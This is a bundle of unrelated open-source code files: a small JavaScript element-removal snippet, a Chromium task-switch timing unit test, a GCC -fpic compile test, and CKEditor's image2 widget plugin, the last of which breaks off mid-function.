function getElements(className) { return Array.from(document.getElementsByClassName(className)); } window.onload = function() { // Force a reflow before any changes. document.body.clientWidth; getElements('remove').forEach(function(e) { e.remove(); }); getElements('remove-after').forEach(function(e) { e.parentNode.removeChild(e.nextSibling); }); };
bsd-3-clause
Chilledheart/chromium
ash/metrics/task_switch_time_tracker_unittest.cc
3152
// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ash/metrics/task_switch_time_tracker.h" #include <string> #include "ash/test/task_switch_time_tracker_test_api.h" #include "base/test/histogram_tester.h" #include "testing/gtest/include/gtest/gtest.h" namespace ash { namespace { // A dummy histogram name. const std::string kHistogramName = "Dummy.Histogram"; } // namespace class TaskSwitchTimeTrackerTest : public testing::Test { public: TaskSwitchTimeTrackerTest(); ~TaskSwitchTimeTrackerTest() override; // testing::Test: void SetUp() override; void TearDown() override; // Wrapper to the test targets OnTaskSwitch() method. void OnTaskSwitch(); TaskSwitchTimeTracker* time_tracker() { return time_tracker_test_api_->time_tracker(); } protected: // Used to verify recorded histogram data. scoped_ptr<base::HistogramTester> histogram_tester_; // A Test API that wraps the test target. scoped_ptr<test::TaskSwitchTimeTrackerTestAPI> time_tracker_test_api_; private: DISALLOW_COPY_AND_ASSIGN(TaskSwitchTimeTrackerTest); }; TaskSwitchTimeTrackerTest::TaskSwitchTimeTrackerTest() { } TaskSwitchTimeTrackerTest::~TaskSwitchTimeTrackerTest() { } void TaskSwitchTimeTrackerTest::SetUp() { testing::Test::SetUp(); histogram_tester_.reset(new base::HistogramTester()); time_tracker_test_api_.reset( new test::TaskSwitchTimeTrackerTestAPI(kHistogramName)); // The TaskSwitchTimeTracker interprets a value of base::TimeTicks() as if the // |last_action_time_| has not been set. time_tracker_test_api_->Advance(base::TimeDelta::FromMilliseconds(1)); } void TaskSwitchTimeTrackerTest::TearDown() { testing::Test::TearDown(); time_tracker_test_api_.reset(); histogram_tester_.reset(); } void TaskSwitchTimeTrackerTest::OnTaskSwitch() { time_tracker()->OnTaskSwitch(); } // Verifies TaskSwitchTimeTracker::HasLastActionTime() returns false after // construction. TEST_F(TaskSwitchTimeTrackerTest, HasLastActionTimeShouldBeFalseAfterConstruction) { EXPECT_FALSE(time_tracker_test_api_->HasLastActionTime()); } // Verifies TaskSwitchTimeTracker::HasLastActionTime() returns true after the // first call to TaskSwitchTimeTracker::OnTaskSwitch() and no histogram data was // recorded. TEST_F(TaskSwitchTimeTrackerTest, HasLastActionTimeShouldBeTrueAfterOnTaskSwitch) { OnTaskSwitch(); histogram_tester_->ExpectTotalCount(kHistogramName, 0); } // Verfies that the histogram data is recorded in the correct buckets. TEST_F(TaskSwitchTimeTrackerTest, RecordAfterTwoTaskSwitches) { OnTaskSwitch(); time_tracker_test_api_->Advance(base::TimeDelta::FromMilliseconds(2)); OnTaskSwitch(); histogram_tester_->ExpectTotalCount(kHistogramName, 1); histogram_tester_->ExpectBucketCount(kHistogramName, 0, 1); time_tracker_test_api_->Advance(base::TimeDelta::FromSeconds(1)); OnTaskSwitch(); histogram_tester_->ExpectTotalCount(kHistogramName, 2); histogram_tester_->ExpectBucketCount(kHistogramName, 1, 1); } } // namespace ash
bsd-3-clause
shaotuanchen/sunflower_exp
tools/source/gcc-4.2.4/gcc/testsuite/g++.old-deja/g++.other/local-alloc1.C
215
// { dg-do assemble { target fpic } } // { dg-options "-O0 -fpic" } // Origin: Jakub Jelinek <[email protected]> struct bar { bar() {} double x[3]; }; static bar y[4]; void foo(int z) { bar w; y[z] = w; }
bsd-3-clause
quepasso/dashboard
web/bundles/ivoryckeditor/plugins/image2/plugin.js
58206
/** * @license Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved. * For licensing, see LICENSE.md or http://ckeditor.com/license */ 'use strict'; ( function() { var template = '<img alt="" src="" />', templateBlock = new CKEDITOR.template( '<figure class="{captionedClass}">' + template + '<figcaption>{captionPlaceholder}</figcaption>' + '</figure>' ), alignmentsObj = { left: 0, center: 1, right: 2 }, regexPercent = /^\s*(\d+\%)\s*$/i; CKEDITOR.plugins.add( 'image2', { // jscs:disable maximumLineLength lang: 'af,ar,bg,bn,bs,ca,cs,cy,da,de,el,en,en-au,en-ca,en-gb,eo,es,et,eu,fa,fi,fo,fr,fr-ca,gl,gu,he,hi,hr,hu,id,is,it,ja,ka,km,ko,ku,lt,lv,mk,mn,ms,nb,nl,no,pl,pt,pt-br,ro,ru,si,sk,sl,sq,sr,sr-latn,sv,th,tr,tt,ug,uk,vi,zh,zh-cn', // %REMOVE_LINE_CORE% // jscs:enable maximumLineLength requires: 'widget,dialog', icons: 'image', hidpi: true, onLoad: function() { CKEDITOR.addCss( '.cke_image_nocaption{' + // This is to remove unwanted space so resize // wrapper is displayed property. 'line-height:0' + '}' + '.cke_editable.cke_image_sw, .cke_editable.cke_image_sw *{cursor:sw-resize !important}' + '.cke_editable.cke_image_se, .cke_editable.cke_image_se *{cursor:se-resize !important}' + '.cke_image_resizer{' + 'display:none;' + 'position:absolute;' + 'width:10px;' + 'height:10px;' + 'bottom:-5px;' + 'right:-5px;' + 'background:#000;' + 'outline:1px solid #fff;' + // Prevent drag handler from being misplaced (#11207). 'line-height:0;' + 'cursor:se-resize;' + '}' + '.cke_image_resizer_wrapper{' + 'position:relative;' + 'display:inline-block;' + 'line-height:0;' + '}' + // Bottom-left corner style of the resizer. '.cke_image_resizer.cke_image_resizer_left{' + 'right:auto;' + 'left:-5px;' + 'cursor:sw-resize;' + '}' + '.cke_widget_wrapper:hover .cke_image_resizer,' + '.cke_image_resizer.cke_image_resizing{' + 'display:block' + '}' + // Expand widget wrapper when linked inline image. '.cke_widget_wrapper>a{' + 'display:inline-block' + '}' ); }, init: function( editor ) { // Adapts configuration from original image plugin. Should be removed // when we'll rename image2 to image. var config = editor.config, lang = editor.lang.image2, image = widgetDef( editor ); // Since filebrowser plugin discovers config properties by dialog (plugin?) // names (sic!), this hack will be necessary as long as Image2 is not named // Image. And since Image2 will never be Image, for sure some filebrowser logic // got to be refined. config.filebrowserImage2BrowseUrl = config.filebrowserImageBrowseUrl; config.filebrowserImage2UploadUrl = config.filebrowserImageUploadUrl; // Add custom elementspath names to widget definition. image.pathName = lang.pathName; image.editables.caption.pathName = lang.pathNameCaption; // Register the widget. editor.widgets.add( 'image', image ); // Add toolbar button for this plugin. editor.ui.addButton && editor.ui.addButton( 'Image', { label: editor.lang.common.image, command: 'image', toolbar: 'insert,10' } ); // Register context menu option for editing widget. if ( editor.contextMenu ) { editor.addMenuGroup( 'image', 10 ); editor.addMenuItem( 'image', { label: lang.menu, command: 'image', group: 'image' } ); } CKEDITOR.dialog.add( 'image2', this.path + 'dialogs/image2.js' ); }, afterInit: function( editor ) { // Integrate with align commands (justify plugin). var align = { left: 1, right: 1, center: 1, block: 1 }, integrate = alignCommandIntegrator( editor ); for ( var value in align ) integrate( value ); // Integrate with link commands (link plugin). linkCommandIntegrator( editor ); } } ); // Wiget states (forms) depending on alignment and configuration. // // Non-captioned widget (inline styles) // ┌──────┬───────────────────────────────┬─────────────────────────────┐ // │Align │Internal form │Data │ // ├──────┼───────────────────────────────┼─────────────────────────────┤ // │none │<wrapper> │<img /> │ // │ │ <img /> │ │ // │ │</wrapper> │ │ // ├──────┼───────────────────────────────┼─────────────────────────────┤ // │left │<wrapper style=”float:left”> │<img style=”float:left” /> │ // │ │ <img /> │ │ // │ │</wrapper> │ │ // ├──────┼───────────────────────────────┼─────────────────────────────┤ // │center│<wrapper> │<p style=”text-align:center”>│ // │ │ <p style=”text-align:center”> │ <img /> │ // │ │ <img /> │</p> │ // │ │ </p> │ │ // │ │</wrapper> │ │ // ├──────┼───────────────────────────────┼─────────────────────────────┤ // │right │<wrapper style=”float:right”> │<img style=”float:right” /> │ // │ │ <img /> │ │ // │ │</wrapper> │ │ // └──────┴───────────────────────────────┴─────────────────────────────┘ // // Non-captioned widget (config.image2_alignClasses defined) // ┌──────┬───────────────────────────────┬─────────────────────────────┐ // │Align │Internal form │Data │ // ├──────┼───────────────────────────────┼─────────────────────────────┤ // │none │<wrapper> │<img /> │ // │ │ <img /> │ │ // │ │</wrapper> │ │ // ├──────┼───────────────────────────────┼─────────────────────────────┤ // │left │<wrapper class=”left”> │<img class=”left” /> │ // │ │ <img /> │ │ // │ │</wrapper> │ │ // ├──────┼───────────────────────────────┼─────────────────────────────┤ // │center│<wrapper> │<p class=”center”> │ // │ │ <p class=”center”> │ <img /> │ // │ │ <img /> │</p> │ // │ │ </p> │ │ // │ │</wrapper> │ │ // ├──────┼───────────────────────────────┼─────────────────────────────┤ // │right │<wrapper class=”right”> │<img class=”right” /> │ // │ │ <img /> │ │ // │ │</wrapper> │ │ // └──────┴───────────────────────────────┴─────────────────────────────┘ // // Captioned widget (inline styles) // ┌──────┬────────────────────────────────────────┬────────────────────────────────────────┐ // │Align │Internal form │Data │ // ├──────┼────────────────────────────────────────┼────────────────────────────────────────┤ // │none │<wrapper> │<figure /> │ // │ │ <figure /> │ │ // │ │</wrapper> │ │ // ├──────┼────────────────────────────────────────┼────────────────────────────────────────┤ // │left │<wrapper style=”float:left”> │<figure style=”float:left” /> │ // │ │ <figure /> │ │ // │ │</wrapper> │ │ // ├──────┼────────────────────────────────────────┼────────────────────────────────────────┤ // │center│<wrapper style=”text-align:center”> │<div style=”text-align:center”> │ // │ │ <figure style=”display:inline-block” />│ <figure style=”display:inline-block” />│ // │ │</wrapper> │</p> │ // ├──────┼────────────────────────────────────────┼────────────────────────────────────────┤ // │right │<wrapper style=”float:right”> │<figure style=”float:right” /> │ // │ │ <figure /> │ │ // │ │</wrapper> │ │ // └──────┴────────────────────────────────────────┴────────────────────────────────────────┘ // // Captioned widget (config.image2_alignClasses defined) // ┌──────┬────────────────────────────────────────┬────────────────────────────────────────┐ // │Align │Internal form │Data │ // ├──────┼────────────────────────────────────────┼────────────────────────────────────────┤ // │none │<wrapper> │<figure /> │ // │ │ <figure /> │ │ // │ │</wrapper> │ │ // ├──────┼────────────────────────────────────────┼────────────────────────────────────────┤ // │left │<wrapper class=”left”> │<figure class=”left” /> │ // │ │ <figure /> │ │ // │ │</wrapper> │ │ // ├──────┼────────────────────────────────────────┼────────────────────────────────────────┤ // │center│<wrapper class=”center”> │<div class=”center”> │ // │ │ <figure /> │ <figure /> │ // │ │</wrapper> │</p> │ // ├──────┼────────────────────────────────────────┼────────────────────────────────────────┤ // │right │<wrapper class=”right”> │<figure class=”right” /> │ // │ │ <figure /> │ │ // │ │</wrapper> │ │ // └──────┴────────────────────────────────────────┴────────────────────────────────────────┘ // // @param {CKEDITOR.editor} // @returns {Object} function widgetDef( editor ) { var alignClasses = editor.config.image2_alignClasses, captionedClass = editor.config.image2_captionedClass; function deflate() { if ( this.deflated ) return; // Remember whether widget was focused before destroyed. if ( editor.widgets.focused == this.widget ) this.focused = true; editor.widgets.destroy( this.widget ); // Mark widget was destroyed. this.deflated = true; } function inflate() { var editable = editor.editable(), doc = editor.document; // Create a new widget. This widget will be either captioned // non-captioned, block or inline according to what is the // new state of the widget. if ( this.deflated ) { this.widget = editor.widgets.initOn( this.element, 'image', this.widget.data ); // Once widget was re-created, it may become an inline element without // block wrapper (i.e. when unaligned, end not captioned). Let's do some // sort of autoparagraphing here (#10853). if ( this.widget.inline && !( new CKEDITOR.dom.elementPath( this.widget.wrapper, editable ).block ) ) { var block = doc.createElement( editor.activeEnterMode == CKEDITOR.ENTER_P ? 'p' : 'div' ); block.replace( this.widget.wrapper ); this.widget.wrapper.move( block ); } // The focus must be transferred from the old one (destroyed) // to the new one (just created). if ( this.focused ) { this.widget.focus(); delete this.focused; } delete this.deflated; } // If now widget was destroyed just update wrapper's alignment. // According to the new state. else { setWrapperAlign( this.widget, alignClasses ); } } return { allowedContent: getWidgetAllowedContent( editor ), requiredContent: 'img[src,alt]', features: getWidgetFeatures( editor ), styleableElements: 'img figure', // This widget converts style-driven dimensions to attributes. contentTransformations: [ [ 'img[width]: sizeToAttribute' ] ], // This widget has an editable caption. editables: { caption: { selector: 'figcaption', allowedContent: 'br em strong sub sup u s; a[!href]' } }, parts: { image: 'img', caption: 'figcaption' // parts#link defined in widget#init }, // The name of this widget's dialog. dialog: 'image2', // Template of the widget: plain image. template: template, data: function() { var features = this.features; // Image can't be captioned when figcaption is disallowed (#11004). if ( this.data.hasCaption && !editor.filter.checkFeature( features.caption ) ) this.data.hasCaption = false; // Image can't be aligned when floating is disallowed (#11004). if ( this.data.align != 'none' && !editor.filter.checkFeature( features.align ) ) this.data.align = 'none'; // Convert the internal form of the widget from the old state to the new one. this.shiftState( { widget: this, element: this.element, oldData: this.oldData, newData: this.data, deflate: deflate, inflate: inflate } ); // Update widget.parts.link since it will not auto-update unless widget // is destroyed and re-inited. if ( !this.data.link ) { if ( this.parts.link ) delete this.parts.link; } else { if ( !this.parts.link ) this.parts.link = this.parts.image.getParent(); } this.parts.image.setAttributes( { src: this.data.src, // This internal is required by the editor. 'data-cke-saved-src': this.data.src, alt: this.data.alt } ); // If shifting non-captioned -> captioned, remove classes // related to styles from <img/>. if ( this.oldData && !this.oldData.hasCaption && this.data.hasCaption ) { for ( var c in this.data.classes ) this.parts.image.removeClass( c ); } // Set dimensions of the image according to gathered data. // Do it only when the attributes are allowed (#11004). if ( editor.filter.checkFeature( features.dimension ) ) setDimensions( this ); // Cache current data. this.oldData = CKEDITOR.tools.extend( {}, this.data ); }, init: function() { var helpers = CKEDITOR.plugins.image2, image = this.parts.image, data = { hasCaption: !!this.parts.caption, src: image.getAttribute( 'src' ), alt: image.getAttribute( 'alt' ) || '', width: image.getAttribute( 'width' ) || '', height: image.getAttribute( 'height' ) || '', // Lock ratio is on by default (#10833). lock: this.ready ? helpers.checkHasNaturalRatio( image ) : true }; // If we used 'a' in widget#parts definition, it could happen that // selected element is a child of widget.parts#caption. Since there's no clever // way to solve it with CSS selectors, it's done like that. (#11783). var link = image.getAscendant( 'a' ); if ( link && this.wrapper.contains( link ) ) this.parts.link = link; // Depending on configuration, read style/class from element and // then remove it. Removed style/class will be set on wrapper in #data listener. // Note: Center alignment is detected during upcast, so only left/right cases // are checked below. if ( !data.align ) { var alignElement = data.hasCaption ? this.element : image; // Read the initial left/right alignment from the class set on element. if ( alignClasses ) { if ( alignElement.hasClass( alignClasses[ 0 ] ) ) { data.align = 'left'; } else if ( alignElement.hasClass( alignClasses[ 2 ] ) ) { data.align = 'right'; } if ( data.align ) { alignElement.removeClass( alignClasses[ alignmentsObj[ data.align ] ] ); } else { data.align = 'none'; } } // Read initial float style from figure/image and then remove it. else { data.align = alignElement.getStyle( 'float' ) || 'none'; alignElement.removeStyle( 'float' ); } } // Update data.link object with attributes if the link has been discovered. if ( editor.plugins.link && this.parts.link ) { data.link = CKEDITOR.plugins.link.parseLinkAttributes( editor, this.parts.link ); // Get rid of cke_widget_* classes in data. Otherwise // they might appear in link dialog. var advanced = data.link.advanced; if ( advanced && advanced.advCSSClasses ) { advanced.advCSSClasses = CKEDITOR.tools.trim( advanced.advCSSClasses.replace( /cke_\S+/, '' ) ); } } // Get rid of extra vertical space when there's no caption. // It will improve the look of the resizer. this.wrapper[ ( data.hasCaption ? 'remove' : 'add' ) + 'Class' ]( 'cke_image_nocaption' ); this.setData( data ); // Setup dynamic image resizing with mouse. // Don't initialize resizer when dimensions are disallowed (#11004). if ( editor.filter.checkFeature( this.features.dimension ) && editor.config.image2_disableResizer !== true ) setupResizer( this ); this.shiftState = helpers.stateShifter( this.editor ); // Add widget editing option to its context menu. this.on( 'contextMenu', function( evt ) { evt.data.image = CKEDITOR.TRISTATE_OFF; // Integrate context menu items for link. // Note that widget may be wrapped in a link, which // does not belong to that widget (#11814). if ( this.parts.link || this.wrapper.getAscendant( 'a' ) ) evt.data.link = evt.data.unlink = CKEDITOR.TRISTATE_OFF; } ); // Pass the reference to this widget to the dialog. this.on( 'dialog', function( evt ) { evt.data.widget = this; }, this ); }, // Overrides default method to handle internal mutability of Image2. // @see CKEDITOR.plugins.widget#addClass addClass: function( className ) { getStyleableElement( this ).addClass( className ); }, // Overrides default method to handle internal mutability of Image2. // @see CKEDITOR.plugins.widget#hasClass hasClass: function( className ) { return getStyleableElement( this ).hasClass( className ); }, // Overrides default method to handle internal mutability of Image2. // @see CKEDITOR.plugins.widget#removeClass removeClass: function( className ) { getStyleableElement( this ).removeClass( className ); }, // Overrides default method to handle internal mutability of Image2. // @see CKEDITOR.plugins.widget#getClasses getClasses: ( function() { var classRegex = new RegExp( '^(' + [].concat( captionedClass, alignClasses ).join( '|' ) + ')$' ); return function() { var classes = this.repository.parseElementClasses( getStyleableElement( this ).getAttribute( 'class' ) ); // Neither config.image2_captionedClass nor config.image2_alignClasses // do not belong to style classes. for ( var c in classes ) { if ( classRegex.test( c ) ) delete classes[ c ]; } return classes; }; } )(), upcast: upcastWidgetElement( editor ), downcast: downcastWidgetElement( editor ) }; } CKEDITOR.plugins.image2 = { stateShifter: function( editor ) { // Tag name used for centering non-captioned widgets. var doc = editor.document, alignClasses = editor.config.image2_alignClasses, captionedClass = editor.config.image2_captionedClass, editable = editor.editable(), // The order that stateActions get executed. It matters! shiftables = [ 'hasCaption', 'align', 'link' ]; // Atomic procedures, one per state variable. var stateActions = { align: function( shift, oldValue, newValue ) { var el = shift.element; // Alignment changed. if ( shift.changed.align ) { // No caption in the new state. if ( !shift.newData.hasCaption ) { // Changed to "center" (non-captioned). if ( newValue == 'center' ) { shift.deflate(); shift.element = wrapInCentering( editor, el ); } // Changed to "non-center" from "center" while caption removed. if ( !shift.changed.hasCaption && oldValue == 'center' && newValue != 'center' ) { shift.deflate(); shift.element = unwrapFromCentering( el ); } } } // Alignment remains and "center" removed caption. else if ( newValue == 'center' && shift.changed.hasCaption && !shift.newData.hasCaption ) { shift.deflate(); shift.element = wrapInCentering( editor, el ); } // Finally set display for figure. if ( !alignClasses && el.is( 'figure' ) ) { if ( newValue == 'center' ) el.setStyle( 'display', 'inline-block' ); else el.removeStyle( 'display' ); } }, hasCaption: function( shift, oldValue, newValue ) { // This action is for real state change only. if ( !shift.changed.hasCaption ) return; // Get <img/> or <a><img/></a> from widget. Note that widget element might itself // be what we're looking for. Also element can be <p style="text-align:center"><a>...</a></p>. var imageOrLink; if ( shift.element.is( { img: 1, a: 1 } ) ) imageOrLink = shift.element; else imageOrLink = shift.element.findOne( 'a,img' ); // Switching hasCaption always destroys the widget. shift.deflate(); // There was no caption, but the caption is to be added. if ( newValue ) { // Create new <figure> from widget template. var figure = CKEDITOR.dom.element.createFromHtml( templateBlock.output( { captionedClass: captionedClass, captionPlaceholder: editor.lang.image2.captionPlaceholder } ), doc ); // Replace element with <figure>. replaceSafely( figure, shift.element ); // Use old <img/> or <a><img/></a> instead of the one from the template, // so we won't lose additional attributes. imageOrLink.replace( figure.findOne( 'img' ) ); // Update widget's element. shift.element = figure; } // The caption was present, but now it's to be removed. else { // Unwrap <img/> or <a><img/></a> from figure. imageOrLink.replace( shift.element ); // Update widget's element. shift.element = imageOrLink; } }, link: function( shift, oldValue, newValue ) { if ( shift.changed.link ) { var img = shift.element.is( 'img' ) ? shift.element : shift.element.findOne( 'img' ), link = shift.element.is( 'a' ) ? shift.element : shift.element.findOne( 'a' ), // Why deflate: // If element is <img/>, it will be wrapped into <a>, // which becomes a new widget.element. // If element is <a><img/></a>, it will be unlinked // so <img/> becomes a new widget.element. needsDeflate = ( shift.element.is( 'a' ) && !newValue ) || ( shift.element.is( 'img' ) && newValue ), newEl; if ( needsDeflate ) shift.deflate(); // If unlinked the image, returned element is <img>. if ( !newValue ) newEl = unwrapFromLink( link ); else { // If linked the image, returned element is <a>. if ( !oldValue ) newEl = wrapInLink( img, shift.newData.link ); // Set and remove all attributes associated with this state. var attributes = CKEDITOR.plugins.link.getLinkAttributes( editor, newValue ); if ( !CKEDITOR.tools.isEmpty( attributes.set ) ) ( newEl || link ).setAttributes( attributes.set ); if ( attributes.removed.length ) ( newEl || link ).removeAttributes( attributes.removed ); } if ( needsDeflate ) shift.element = newEl; } } }; function wrapInCentering( editor, element ) { var attribsAndStyles = {}; if ( alignClasses ) attribsAndStyles.attributes = { 'class': alignClasses[ 1 ] }; else attribsAndStyles.styles = { 'text-align': 'center' }; // There's no gentle way to center inline element with CSS, so create p/div // that wraps widget contents and does the trick either with style or class. var center = doc.createElement( editor.activeEnterMode == CKEDITOR.ENTER_P ? 'p' : 'div', attribsAndStyles ); // Replace element with centering wrapper. replaceSafely( center, element ); element.move( center ); return center; } function unwrapFromCentering( element ) { var imageOrLink = element.findOne( 'a,img' ); imageOrLink.replace( element ); return imageOrLink; } // Wraps <img/> -> <a><img/></a>. // Returns reference to <a>. // // @param {CKEDITOR.dom.element} img // @param {Object} linkData // @returns {CKEDITOR.dom.element} function wrapInLink( img, linkData ) { var link = doc.createElement( 'a', { attributes: { href: linkData.url } } ); link.replace( img ); img.move( link ); return link; } // De-wraps <a><img/></a> -> <img/>. // Returns the reference to <img/> // // @param {CKEDITOR.dom.element} link // @returns {CKEDITOR.dom.element} function unwrapFromLink( link ) { var img = link.findOne( 'img' ); img.replace( link ); return img; } function replaceSafely( replacing, replaced ) { if ( replaced.getParent() ) { var range = editor.createRange(); range.moveToPosition( replaced, CKEDITOR.POSITION_BEFORE_START ); // Remove old element. Do it before insertion to avoid a case when // element is moved from 'replaced' element before it, what creates // a tricky case which insertElementIntorRange does not handle. replaced.remove(); editable.insertElementIntoRange( replacing, range ); } else { replacing.replace( replaced ); } } return function( shift ) { var name, i; shift.changed = {}; for ( i = 0; i < shiftables.length; i++ ) { name = shiftables[ i ]; shift.changed[ name ] = shift.oldData ? shift.oldData[ name ] !== shift.newData[ name ] : false; } // Iterate over possible state variables. for ( i = 0; i < shiftables.length; i++ ) { name = shiftables[ i ]; stateActions[ name ]( shift, shift.oldData ? shift.oldData[ name ] : null, shift.newData[ name ] ); } shift.inflate(); }; }, // Checks whether current ratio of the image match the natural one. // by comparing dimensions. // @param {CKEDITOR.dom.element} image // @returns {Boolean} checkHasNaturalRatio: function( image ) { var $ = image.$, natural = this.getNatural( image ); // The reason for two alternative comparisons is that the rounding can come from // both dimensions, e.g. there are two cases: // 1. height is computed as a rounded relation of the real height and the value of width, // 2. width is computed as a rounded relation of the real width and the value of heigh. return Math.round( $.clientWidth / natural.width * natural.height ) == $.clientHeight || Math.round( $.clientHeight / natural.height * natural.width ) == $.clientWidth; }, // Returns natural dimensions of the image. For modern browsers // it uses natural(Width|Height) for old ones (IE8), creates // a new image and reads dimensions. // @param {CKEDITOR.dom.element} image // @returns {Object} getNatural: function( image ) { var dimensions; if ( image.$.naturalWidth ) { dimensions = { width: image.$.naturalWidth, height: image.$.naturalHeight }; } else { var img = new Image(); img.src = image.getAttribute( 'src' ); dimensions = { width: img.width, height: img.height }; } return dimensions; } }; function setWrapperAlign( widget, alignClasses ) { var wrapper = widget.wrapper, align = widget.data.align, hasCaption = widget.data.hasCaption; if ( alignClasses ) { // Remove all align classes first. for ( var i = 3; i--; ) wrapper.removeClass( alignClasses[ i ] ); if ( align == 'center' ) { // Avoid touching non-captioned, centered widgets because // they have the class set on the element instead of wrapper: // // <div class="cke_widget_wrapper"> // <p class="center-class"> // <img /> // </p> // </div> if ( hasCaption ) { wrapper.addClass( alignClasses[ 1 ] ); } } else if ( align != 'none' ) { wrapper.addClass( alignClasses[ alignmentsObj[ align ] ] ); } } else { if ( align == 'center' ) { if ( hasCaption ) wrapper.setStyle( 'text-align', 'center' ); else wrapper.removeStyle( 'text-align' ); wrapper.removeStyle( 'float' ); } else { if ( align == 'none' ) wrapper.removeStyle( 'float' ); else wrapper.setStyle( 'float', align ); wrapper.removeStyle( 'text-align' ); } } } // Returns a function that creates widgets from all <img> and // <figure class="{config.image2_captionedClass}"> elements. // // @param {CKEDITOR.editor} editor // @returns {Function} function upcastWidgetElement( editor ) { var isCenterWrapper = centerWrapperChecker( editor ), captionedClass = editor.config.image2_captionedClass; // @param {CKEDITOR.htmlParser.element} el // @param {Object} data return function( el, data ) { var dimensions = { width: 1, height: 1 }, name = el.name, image; // #11110 Don't initialize on pasted fake objects. if ( el.attributes[ 'data-cke-realelement' ] ) return; // If a center wrapper is found, there are 3 possible cases: // // 1. <div style="text-align:center"><figure>...</figure></div>. // In this case centering is done with a class set on widget.wrapper. // Simply replace centering wrapper with figure (it's no longer necessary). // // 2. <p style="text-align:center"><img/></p>. // Nothing to do here: <p> remains for styling purposes. // // 3. <div style="text-align:center"><img/></div>. // Nothing to do here (2.) but that case is only possible in enterMode different // than ENTER_P. if ( isCenterWrapper( el ) ) { if ( name == 'div' ) { var figure = el.getFirst( 'figure' ); // Case #1. if ( figure ) { el.replaceWith( figure ); el = figure; } } // Cases #2 and #3 (handled transparently) // If there's a centering wrapper, save it in data. data.align = 'center'; // Image can be wrapped in link <a><img/></a>. image = el.getFirst( 'img' ) || el.getFirst( 'a' ).getFirst( 'img' ); } // No center wrapper has been found. else if ( name == 'figure' && el.hasClass( captionedClass ) ) { image = el.getFirst( 'img' ) || el.getFirst( 'a' ).getFirst( 'img' ); // Upcast linked image like <a><img/></a>. } else if ( isLinkedOrStandaloneImage( el ) ) { image = el.name == 'a' ? el.children[ 0 ] : el; } if ( !image ) return; // If there's an image, then cool, we got a widget. // Now just remove dimension attributes expressed with %. for ( var d in dimensions ) { var dimension = image.attributes[ d ]; if ( dimension && dimension.match( regexPercent ) ) delete image.attributes[ d ]; } return el; }; } // Returns a function which transforms the widget to the external format // according to the current configuration. // // @param {CKEDITOR.editor} function downcastWidgetElement( editor ) { var alignClasses = editor.config.image2_alignClasses; // @param {CKEDITOR.htmlParser.element} el return function( el ) { // In case of <a><img/></a>, <img/> is the element to hold // inline styles or classes (image2_alignClasses). var attrsHolder = el.name == 'a' ? el.getFirst() : el, attrs = attrsHolder.attributes, align = this.data.align; // De-wrap the image from resize handle wrapper. // Only block widgets have one. if ( !this.inline ) { var resizeWrapper = el.getFirst( 'span' ); if ( resizeWrapper ) resizeWrapper.replaceWith( resizeWrapper.getFirst( { img: 1, a: 1 } ) ); } if ( align && align != 'none' ) { var styles = CKEDITOR.tools.parseCssText( attrs.style || '' ); // When the widget is captioned (<figure>) and internally centering is done // with widget's wrapper style/class, in the external data representation, // <figure> must be wrapped with an element holding an style/class: // // <div style="text-align:center"> // <figure class="image" style="display:inline-block">...</figure> // </div> // or // <div class="some-center-class"> // <figure class="image">...</figure> // </div> // if ( align == 'center' && el.name == 'figure' ) { el = el.wrapWith( new CKEDITOR.htmlParser.element( 'div', alignClasses ? { 'class': alignClasses[ 1 ] } : { style: 'text-align:center' } ) ); } // If left/right, add float style to the downcasted element. else if ( align in { left: 1, right: 1 } ) { if ( alignClasses ) attrsHolder.addClass( alignClasses[ alignmentsObj[ align ] ] ); else styles[ 'float' ] = align; } // Update element styles. if ( !alignClasses && !CKEDITOR.tools.isEmpty( styles ) ) attrs.style = CKEDITOR.tools.writeCssText( styles ); } return el; }; } // Returns a function that checks if an element is a centering wrapper. // // @param {CKEDITOR.editor} editor // @returns {Function} function centerWrapperChecker( editor ) { var captionedClass = editor.config.image2_captionedClass, alignClasses = editor.config.image2_alignClasses, validChildren = { figure: 1, a: 1, img: 1 }; return function( el ) { // Wrapper must be either <div> or <p>. if ( !( el.name in { div: 1, p: 1 } ) ) return false; var children = el.children; // Centering wrapper can have only one child. if ( children.length !== 1 ) return false; var child = children[ 0 ]; // Only <figure> or <img /> can be first (only) child of centering wrapper, // regardless of its type. if ( !( child.name in validChildren ) ) return false; // If centering wrapper is <p>, only <img /> can be the child. // <p style="text-align:center"><img /></p> if ( el.name == 'p' ) { if ( !isLinkedOrStandaloneImage( child ) ) return false; } // Centering <div> can hold <img/> or <figure>, depending on enterMode. else { // If a <figure> is the first (only) child, it must have a class. // <div style="text-align:center"><figure>...</figure><div> if ( child.name == 'figure' ) { if ( !child.hasClass( captionedClass ) ) return false; } else { // Centering <div> can hold <img/> or <a><img/></a> only when enterMode // is ENTER_(BR|DIV). // <div style="text-align:center"><img /></div> // <div style="text-align:center"><a><img /></a></div> if ( editor.enterMode == CKEDITOR.ENTER_P ) return false; // Regardless of enterMode, a child which is not <figure> must be // either <img/> or <a><img/></a>. if ( !isLinkedOrStandaloneImage( child ) ) return false; } } // Centering wrapper got to be... centering. If image2_alignClasses are defined, // check for centering class. Otherwise, check the style. if ( alignClasses ? el.hasClass( alignClasses[ 1 ] ) : CKEDITOR.tools.parseCssText( el.attributes.style || '', true )[ 'text-align' ] == 'center' ) return true; return false; }; } // Checks whether element is <img/> or <a><img/></a>. // // @param {CKEDITOR.htmlParser.element} function isLinkedOrStandaloneImage( el ) { if ( el.name == 'img' ) return true; else if ( el.name == 'a' ) return el.children.length == 1 && el.getFirst( 'img' ); return false; } // Sets width and height of the widget image according to current widget data. // // @param {CKEDITOR.plugins.widget} widget function setDimensions( widget ) { var data = widget.data, dimensions = { width: data.width, height: data.height }, image = widget.parts.image; for ( var d in dimensions ) { if ( dimensions[ d ] ) image.setAttribute( d, dimensions[ d ] ); else image.removeAttribute( d ); } } // Defines all features related to drag-driven image resizing. // // @param {CKEDITOR.plugins.widget} widget function setupResizer( widget ) { var editor = widget.editor, editable = editor.editable(), doc = editor.document, // Store the resizer in a widget for testing (#11004). resizer = widget.resizer = doc.createElement( 'span' ); resizer.addClass( 'cke_image_resizer' ); resizer.setAttribute( 'title', editor.lang.image2.resizer ); resizer.append( new CKEDITOR.dom.text( '\u200b', doc ) ); // Inline widgets don't need a resizer wrapper as an image spans the entire widget. if ( !widget.inline ) { var imageOrLink = widget.parts.link || widget.parts.image, oldResizeWrapper = imageOrLink.getParent(), resizeWrapper = doc.createElement( 'span' ); 